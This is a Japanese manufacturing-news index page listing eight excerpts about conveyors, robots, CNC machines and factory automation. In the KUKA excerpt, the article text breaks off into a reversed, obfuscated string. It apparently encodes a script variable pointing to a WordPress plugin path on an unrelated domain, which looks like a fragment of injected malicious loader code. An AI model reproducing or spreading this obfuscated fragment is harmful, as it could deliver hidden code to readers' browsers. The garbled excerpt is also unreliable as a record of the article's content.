『コンベア』の記事一覧 : 8件

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MONOist

2016/11/1
IT media

 シチズンマシナリーは2016年10月6日、高精度CNCチャッカー機「Miyano GN3200」シリーズをモデルチェンジし、2017年4月に発売すると発表した。自動車関連部品、医療機器部品、精密機器部品、油空圧機器部品...

 KUKAは2016年9月13日、ロボット用のシステムソフトウェア「KUKA.PLC mxAutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=f...

 岩手県を中心に鶏肉の生産・販売を手がける十文字チキンカンパニーが、県北部の軽米町(かるまいまち)に大規模なバイオマス発電所を建設した(図1)。隣接する青森県を含めて170カ所の飼育農場で発生する鶏の糞を燃料に利用する。...

 オムロンは2016年10月3日、人と機械が協調したモノづくり現場の実現に向け、米国子会社オムロンアデプトテクノロジーズ(以下、OAT)が開発した「屋内用モバイルロボットLDプラットフォーム」2シリーズ4形式を2017年...

 本田技研工業は2016年4月21日、完成車組み立てのメインラインに流動型のセル生産方式を組み込んだ「ARC(アーク)ライン」を発表した。タイにある同社の四輪車生産販売現地法人ホンダオートモービルのプラチンブリ工場に導入...

コンベアの上を流れるドラム缶。これを一定間隔で流したい。 そのためにこの現場で行ったのが、コンベアに色を塗って目印をつけたこと。作業者は、ドラム缶が目印を通過したら次のドラム缶を流すようにし、こうすることで流すスピードを...

正常稼働時は、自動で大量に製品を運んでくれるコンベアですが、いったんトラブルが起きたらラインが停止し、全体に大きな影響を及ぼします。そこで今回は、コンベア上でよく起こるトラブルのひとつである「ワークの空回り」とそれを解決...

IoTやインダストリー4.0で高度化された工場、スマートファクトリーに向け、生産装置として産業用ロボットが多く採用される一方、搬送工程はいまだに「一定速度で一方向に流すだけ」のコンベアが主流。大量生産時代から考え方が変わ...